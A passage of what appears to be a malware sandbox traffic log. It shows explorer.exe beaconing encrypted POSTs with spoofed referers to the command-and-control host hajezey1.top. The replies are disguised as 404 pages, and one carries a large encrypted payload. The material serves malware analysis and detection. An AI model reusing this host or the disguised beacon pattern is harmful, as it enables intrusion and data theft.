64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
45	192.168.2.5	49836	185.98.87.159	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 29, 2021 20:11:01.858397961 CEST	12490	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://uriot.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 337 Host: hajezey1.top
Oct 29, 2021 20:11:01.858419895 CEST	12490	OUT	Data Raw: 10 87 86 98 19 f8 a2 c6 ca 4d 77 3a 78 c2 e1 f3 47 63 de 44 d0 41 1a 9d c2 e7 dd 83 8f a1 e3 f2 10 b6 54 a7 11 1e ca 92 9a d9 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 85 de 83 66 5d 02 c8 a1 c1 64 36 ad c7 32 Data Ascii: Mw:xGcDATwmwu$f]d627^v2^@wX3Wa~\|/X4D:BJTa{x1&SA\4JJ61-i_a+(J`,G#;Ja5Kvk_d1uM(AF%
Oct 29, 2021 20:11:01.941761971 CEST	12491	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 29 Oct 2021 18:11:01 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
46	192.168.2.5	49837	185.98.87.159	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 29, 2021 20:11:02.028760910 CEST	12492	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://isqhctlhh.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 257 Host: hajezey1.top
Oct 29, 2021 20:11:02.028769970 CEST	12492	OUT	Data Raw: 10 87 86 98 19 f8 a2 c6 ca 4d 77 3a 78 c2 e1 f3 47 63 de 44 d0 41 1a 9d c2 e7 dd 83 8f a1 e3 f2 10 b6 54 a7 11 1e ca 92 9a d9 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 85 de 80 66 5d 02 c8 a1 c1 64 00 bb b3 7d Data Ascii: Mw:xGcDATwmwu$f]d}#p_OGAJH\|L\|`?X#p?F9aZSv>bG%)rfA,05H?nJp&ji$F7>~T:ETz`~_Vo.<Qa>'_
Oct 29, 2021 20:11:02.106965065 CEST	12493	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 29 Oct 2021 18:11:02 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
47	192.168.2.5	49838	185.98.87.159	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 29, 2021 20:11:02.188205004 CEST	12493	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://pbejr.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 316 Host: hajezey1.top
Oct 29, 2021 20:11:02.188237906 CEST	12494	OUT	Data Raw: 10 87 86 98 19 f8 a2 c6 ca 4d 77 3a 78 c2 e1 f3 47 63 de 44 d0 41 1a 9d c2 e7 dd 83 8f a1 e3 f2 10 b6 54 a7 11 1e ca 92 9a d9 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 85 de 81 66 5d 02 c8 a1 c1 64 52 cf cd 68 Data Ascii: Mw:xGcDATwmwu$f]dRh%cz=S\b(8c)+i2O!8X!Z@nCf]z#A!T2JPL!?z>69P9nGl\jT/S<FH')}TyU?y<hd<NI
Oct 29, 2021 20:11:02.273143053 CEST	12494	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 29 Oct 2021 18:11:02 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
48	192.168.2.5	49839	185.98.87.159	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 29, 2021 20:11:02.361143112 CEST	12495	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ufipchi.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 236 Host: hajezey1.top
Oct 29, 2021 20:11:02.361157894 CEST	12496	OUT	Data Raw: 10 87 86 98 19 f8 a2 c6 ca 4d 77 3a 78 c2 e1 f3 47 63 de 44 d0 41 1a 9d c2 e7 dd 83 8f a1 e3 f2 10 b6 54 a7 11 1e ca 92 9a d9 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 85 de be 66 5d 02 c8 a1 c1 64 16 cf bb 6c Data Ascii: Mw:xGcDATwmwu$f]dlN28D5KzQm^6NDkQezFe.slDik\|p"0mVF7D,D?1gz~Xp2.h^A$qhyj3izf_0$0GqTC
Oct 29, 2021 20:11:02.446659088 CEST	12497	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 29 Oct 2021 18:11:02 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 66 36 36 0d 0a 00 00 d2 a7 83 28 c8 53 57 5c 29 8f 69 c1 50 22 ec 26 d8 a1 e7 26 67 0b 72 90 cc ec d2 ca 71 c4 7c be 0c c8 8c 31 f4 d1 98 44 68 38 4b 79 b3 fd ce d5 41 be 53 c9 5c a3 96 52 9b 1f d5 b8 e2 60 1b d6 d6 3d 1b cc c6 84 5b c2 67 7b 0d fc 45 a7 fd 00 72 6f 0e 3b 9a eb 96 06 d9 9a 3c ea d4 28 6a a3 4e 6e ad 0c 0f 59 cf 4c 15 6a c1 a8 a4 02 cb 50 7b 09 6a 86 79 d7 95 e7 05 f5 e1 94 52 e8 59 9b c5 a7 86 38 b4 f2 a7 7c 2b f0 3a cb 8f 8c f5 cf 9b 3b 66 9b 16 b8 eb 1b e5 d7 4a 74 d0 eb d8 07 cd 23 90 78 51 71 a2 8f d2 ee cf 1c e0 02 02 50 08 08 d8 e2 20 a5 19 93 9b 97 4f f3 e0 e4 62 79 00 94 d5 d6 cb 0f 3d 61 19 f7 cb d2 b3 01 92 b4 b9 c1 82 20 59 57 11 5c 7c a3 7b ab ab 09 c0 4d 58 4b 77 13 d2 08 5b 47 86 65 29 15 32 39 c5 f7 15 67 aa cf 30 c0 7a 9f 06 a2 7f c1 96 98 8b 36 19 19 cb 8a 13 d8 06 0e 45 87 13 7d 6f fd e0 04 89 f9 d4 57 80 90 70 89 f4 25 75 6b de f2 a2 22 48 32 d2 49 ad ff bc ff 1f fd f5 3f f4 6f d3 7c cb 36 d2 ce 4e 49 b3 0b 75 01 35 07 1e fe 63 4b 83 8b 14 ca c3 f3 b2 ec 92 c0 15 1c 57 ec 87 7e 0c 35 8a 3d 50 7f d0 56 81 96 9b 97 7e 70 9f 6a a8 a5 17 08 e8 e1 98 ab e1 5f 11 87 4a 71 87 56 b0 50 f6 0a bf d9 6b 91 e0 55 d0 66 21 df 76 79 27 24 58 96 3a 39 d1 da 03 d4 30 74 61 27 47 c2 e6 5e 89 b2 e2 9b 52 ec c0 76 a7 e2 f0 b5 c3 e6 60 f7 f8 23 d3 3e 5b f3 71 81 4a 04 78 2d 7f d4 2c d6 e8 b1 14 73 71 10 22 17 4a 86 47 30 5a 22 a2 3f 0b 8e 2b 51 fd f5 7a 70 9c 82 97 d1 d6 4a 13 a7 e9 4d 51 c2 41 64 cd 27 5c 8d b7 a3 23 0c 26 17 51 d2 eb e9 23 19 9d 46 3c 70 36 41 ae e4 c3 88 3e 9d 43 dd 17 fe 2f 43 9e 8e ea 4c 76 7b de e2 46 f0 2e 56 bb 43 3e 8f 17 94 6b 36 a4 29 ec 90 bc 10 c9 2a 7c bd 67 c1 aa d7 b0 5d 28 ed fe 7b 9c 4d 16 94 18 42 26 2e 92 cc 1e fe 18 aa 34 a6 6d 96 8e a4 42 1f 01 31 fd ce 0f 88 f4 0e 37 c4 fe 87 75 87 f0 d3 4b 1d 53 58 1d a5 05 80 e0 2d f0 0e 55 f6 1f 5f a1 67 50 41 48 ab 0b 52 ea 5a 15 6c de 30 ea 2e ad 46 6a de 5e f7 44 18 bd 95 59 f8 d2 3e b8 77 24 7e 65 b9 0a f1 91 cf f3 bc 34 bc 36 b3 ec d3 70 01 21 f4 5c 58 2b 72 12 c9 8e 70 ac e4 26 be 99 04 33 2b 22 f5 2d 09 7d a2 d1 92 4b de 94 cf 91 7b 41 0a f6 29 8f 4d aa d1 b9 ba 97 30 d0 47 43 05 f2 42 e6 56 91 24 c8 00 66 b4 ea f1 ea 7f ae 1a a5 f4 ea 4c 90 54 77 8b ee 2b 0b 67 45 12 c3 3e ba 2d 09 86 99 57 f9 68 8d 90 26 d3 d6 c0 c8 30 6f 41 cb 1b b9 71 ca 6d 88 44 13 51 13 66 7d 6c 65 04 f5 7f f6 50 99 85 84 90 c1 2f d1 0c 6a c3 1b 95 50 49 25 3f d2 3e 20 12 1e b7 6b 6c cc bd 41 2b 1b 23 28 21 ae 60 78 2f 46 5e 1e b2 57 d9 bd be 2f 83 ef d9 a7 8f 83 f1 60 4c 72 fe 24 f4 89 6f e4 f7 81 c4 ff 58 4f dd d7 ef 3d 08 bb 78 fd 16 f7 c9 66 bd 2b da df 97 5f 29 86 97 72 20 bd 29 71 96 25 a6 46 bd 59 f8 b6 06 d7 55 02 a0 48 79 68 42 65 09 90 ed ff 21 ab c0 00 75 94 f2 cb 54 26 12 ad 67 61 8a ec 1c dc ce 76 60 4c 00 c8 98 ff e0 2b 03 c6 c0 fb 71 7b 01 00 a5 20 e0 e2 cc 93 4f fd 40 9c 81 b9 f3 31 9d cb 16 fc 7a 8a 44 b1 00 38 6d 10 e8 30 9c d3 4f 18 6d 24 17 24 c2 d2 64 5b b6 ce 4c 23 78 f1 cd 26 84 47 75 a8 af 56 07 99 9a 8d e9 62 0d 6b 81 e6 c5 be 33 0f 4c ee 8a 50 0d 5b 15 d0 3b 94 e7 59 50 b9 da 1b f5 4e e8 47 96 7c 84 e0 f8 cd 8d 8d 85 91 db 23 bb 4c 35 05 7b 21 95 0a f0 ec 1f 63 21 9b f6 a7 d1 b8 f1 eb 2c 25 61 22 ac 11 57 c1 de a0 18 ce 1f 8a 1f c5 c0 85 a6 91 23 67 db 11 ae 7b 2c 47 e5 54 e1 ed 58 71 e7 11 86 a2 98 37 e0 8d 92 fc 04 88 05 e2 e4 4e e8 31 2b cb 30 84 db 90 2a 08 9a 39 5e f6 d0 94 67 9b fc 20 31 8d 6b 4f b1 87 b1 75 54 a1 3e 29 4d fa 74 64 9b c0 9f b5 bc a8 33 19 34 41 38 62 e8 c7 4e b0 bf d0 cc 4d 50 08 d6 e5 09 ad cd a6 a7 3f 4f a9 04 Data Ascii: 1f66(SW\)iP"&&grq\|1Dh8KyAS\R`=[g{Ero;<(jNnYLjP{jyRY8\|+:;fJt#xQqP Oby=a YW\\|{MXKw[Ge)29g0z6E}oWp%uk"H2I?o\|6NIu5cKW~5=PV~pj_JqVPkUf!vy'$X:90ta'G^Rv`#>[qJx-,sq"JG0Z"?+QzpJMQAd'\#&Q#F<p6A>C/CLv{F.VC>k6)\|g]({MB&.4mB17uKSX-U_gPAHRZl0.Fj^DY>w$~e46p!\X+rp&3+"-}K{A)M0GCBV$fLTw+gE>-Wh&0oAqmDQf}leP/jPI%?> klA+#(!`x/F^W/`Lr$oXO=xf+_)r )q%FYUHyhBe!uT&gav`L+q{ O@1zD8m0Om$$d[L#x&GuVbk3LP[;YPNG\|#L5{!c!,%a"W#g{,GTXq7N1+09^g 1kOuT>)Mtd34A8bNMP?O
Oct 29, 2021 20:11:02.446681023 CEST	12498	IN	Data Raw: 66 00 ab 8d 54 29 1f d5 71 05 c3 bd 5c 8d ab 3c 95 f2 6b ea f2 f0 cf 12 d2 fa 7c 4d a7 ab d6 08 91 40 a9 9f 7f 58 cc 89 47 f4 01 f9 7a db d2 69 66 a5 b7 f3 ff 4a 17 6c 0b 42 33 4e 76 7f 75 54 4a 65 61 e0 de 47 ac 75 07 aa be 5b 5c 1b 78 0f 99 df Data Ascii: fT)q\<k\|M@XGzifJlB3NvuTJeaGu[\xe!CF+7ge8<'9(~%`!%e2Np-pt9YH&d^4Uo#aguq,W'dG6iJegP5^MftTnyY ELrc6Z7R
Oct 29, 2021 20:11:02.446693897 CEST	12500	IN	Data Raw: 2b 0b 4d 5d 57 b5 d1 16 5d 2a 2b ae 5b c1 3e a4 e3 d0 85 63 af a1 ec 0d b8 52 b4 70 79 f9 9c 63 33 fb b8 d9 44 5a b2 5c 67 b2 ce 4a 55 e4 c3 45 57 7f b5 4d dc 7c 4b cf e7 9c 61 8d 2f a2 92 48 ff 3e 56 07 f0 39 25 b1 03 49 50 cf d6 44 b8 70 fd c0 Data Ascii: +M]W]*+[>cRpyc3DZ\gJUEWM\|Ka/H>V9%IPDpb+>uz)]{uu O87aap+)AEnIp/m$SzHs7-2NN!o6Kx8exkQ>I@Y'2D{^A
Oct 29, 2021 20:11:02.446705103 CEST	12501	IN	Data Raw: 90 8b 46 69 1c a8 a0 d6 cd 34 f4 2e f6 33 10 5f 38 67 c0 6d 8a 4c a0 4a f7 54 b1 e2 db e9 90 58 f1 6f 07 71 36 3b 83 76 95 fb bf e7 8c 51 9f 51 46 97 a6 9a ff 7a 28 f3 03 19 71 54 eb ab a7 c3 82 06 04 bc 42 95 be 38 50 55 57 9b a6 d5 17 ae 5b 80 Data Ascii: Fi4.3_8gmLJTXoq6;vQQFz(qTB8PUW[U\|XCkpS$,g[?f{@UzhIlWLu].EU9<(+$_N*{>LQ}Bh\L\|=@]G>+qnE
Oct 29, 2021 20:11:02.446722031 CEST	12502	IN	Data Raw: 27 7a 8b 28 0d 48 d8 e0 a7 96 cb be 7e 43 5c e6 f4 33 54 bf 2c f7 88 77 18 23 13 ac 34 bd d8 66 40 5b 5a ca dd 7d 7f 50 ee b5 0b 8e 51 a4 33 c8 b4 14 5a 1b 52 a8 1c cd a7 ab 5d 86 3f be e2 41 e1 91 35 eb 1b 7f 3d 25 32 52 a5 50 c2 86 15 4b 13 06 Data Ascii: 'z(H~C\3T,w#4f@[Z}PQ3ZR]?A5=%2RPKf9'.PP2Worcc.>h+FyqPRJm-uuI%q e#Hg8C9sMAfJ!n]aT j6OLb
Oct 29, 2021 20:11:02.446738005 CEST	12504	IN	Data Raw: a9 15 49 f1 6c 55 35 2e e1 94 03 1e c7 77 03 fe 9d 8f a4 24 9f 87 4d a5 19 be 56 6e b5 9a 42 65 2a f9 f7 93 ab f3 dc 4f ac fa f6 76 22 74 4e 02 b1 0b 8a ef 64 5c 06 98 ba 63 49 71 0f 00 9e 90 15 41 68 06 17 c8 a7 94 ea 5e 44 20 58 95 ed 6d 30 39 Data Ascii: IlU5.w$MVnBe*Ov"tNd\cIqAh^D Xm09Ug21BJz}g;]]mE&#3^9Pe6NI&cb#bGj~hP~~uVFVLUN$/;u-O#XlJ\|MWZL
Oct 29, 2021 20:11:02.446753979 CEST	12505	IN	Data Raw: 76 73 e2 0b 95 90 68 78 50 78 a7 64 85 74 d0 1d 1f ab cf 65 04 ca ce d6 55 ba 73 65 50 f1 10 2d 0a b2 a4 bd 9b bb ae 8d b1 ca c4 97 4f 9d e0 dc 52 7a ef 29 d6 9f 29 db 6e d4 be 3b a2 73 bf a9 cc 64 8c a7 a8 8b 03 08 23 46 de 89 d3 41 4b ef 1a 77 Data Ascii: vshxPxdteUseP-ORz))n;sd#FAKwrhxO:V~K;_c372%}`%bgh>y32IY[kUDJbk[GO.2000#\|ROn.=vkGDja 3qi{j
Oct 29, 2021 20:11:02.446769953 CEST	12506	IN	Data Raw: 26 d3 71 fa 61 e5 4f b6 22 62 69 d0 2e 45 76 3e 02 a0 b7 bb e8 c9 62 2e 78 54 f6 30 f6 91 28 82 ff a0 1b 34 70 53 55 36 3a 18 8b 0c 6e 7c 6f 3f 46 2b a8 c3 a4 41 db 50 b0 b3 19 91 23 a5 09 56 c0 be 8d 10 c6 c0 3d 00 b7 75 2e 69 e0 7c 34 e9 c5 76 Data Ascii: &qaO"bi.Ev>b.xT0(4pSU6:n\|o?F+AP#V=u.i\|4vv+ @<Vtr"[3 O1 6"h.D2P}97ACo<6Yi}aBs@2_;i'$E\|KX ~2r>3=wk.}>
Oct 29, 2021 20:11:02.446787119 CEST	12508	IN	Data Raw: d4 0f 78 50 87 d4 0d 86 9f 6d c9 74 de 8f 30 f0 7c 0c 02 50 dc 20 98 d4 09 9a 89 83 ad 8c ce da 54 dc 1c 21 25 1e 1e a9 c8 11 17 a0 e2 88 8f 1e 53 b4 6b 44 57 26 16 f7 3d b4 d5 03 7a 3a ae 64 67 38 59 0c 58 79 b6 36 f1 df a6 ec 04 51 9e 7d 74 da Data Ascii: xPmt0\|P T!%SkDW&=z:dg8YXy6Q}te\|h>1kp9\v,KmuGEoD+EqcP(v>=u^=\~<ZE]]VTzcaxMx<qAb)N5`?-Nm/3 7&
Oct 29, 2021 20:11:02.446803093 CEST	12509	IN	Data Raw: d9 71 b8 fa a1 47 22 51 1d 87 35 f6 6a 1f 9f 2e 4f 78 6b a5 26 33 29 18 d3 cb 78 a2 aa f8 ff a9 6c 28 02 25 88 ec ef 9b 98 1b c4 f4 73 ac ce e5 ff 76 4c 4f b4 58 8c c7 77 89 81 8e 2b 81 08 b1 5e 0e be 38 86 2f 0d 9c df 1f 70 cc 43 ed 48 1e b2 24 Data Ascii: qG"Q5j.Oxk&3)xl(%svLOXw+^8/pCH$Ew1Xm/E*pbFC5W6Ko'FPFA3<~OtGHZYV-Lg@,ugp,soT\<j7qH\k%RyhAGIW;/{h
Oct 29, 2021 20:11:02.498940945 CEST	12511	IN	Data Raw: 8f cb 96 0a 00 4d 83 0c f1 70 e5 1d a3 99 97 5e 72 e5 63 47 15 1e 90 23 e8 9e 54 43 ef ec 2d 68 96 48 a4 01 45 36 fe d1 43 48 84 a1 55 9d 20 93 34 dd 5c e1 62 53 cb 5a 13 02 2e ff 0d 5f 94 a4 42 a9 24 b9 0d 41 33 4a 88 9d ca 31 18 1d 85 84 6e dd Data Ascii: Mp^rcG#TC-hHE6CHU 4\bSZ._B$A3J1nOq}6~Ajbbjo$wX(]%)I*G ":?&_LNIPQ_r53f;?/80RV(iL,^UQ=@kWM5^

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
49	192.168.2.5	49840	185.98.87.159	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 29, 2021 20:11:09.495573044 CEST	14519	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://vlotoun.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 314 Host: hajezey1.top
Oct 29, 2021 20:11:09.495588064 CEST	14519	OUT	Data Raw: 10 87 86 98 19 f8 a2 c6 ca 4d 77 3a 78 c2 e1 f3 47 63 de 44 d0 41 1a 9d c2 e7 dd 83 8f a1 e3 f2 10 b6 54 a7 11 1e ca 92 9a d9 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 84 de be 66 5d 02 c9 a1 c1 64 4b a1 d6 63 Data Ascii: Mw:xGcDATwmwu$f]dKcVF?fOoQ$*n_Y: V33Pw^0HP\!yVv9)\@H'KnAG,>l#\I:LD;# "9:q]\j!;:MK]%
Oct 29, 2021 20:11:09.571465969 CEST	14520	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 29 Oct 2021 18:11:09 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 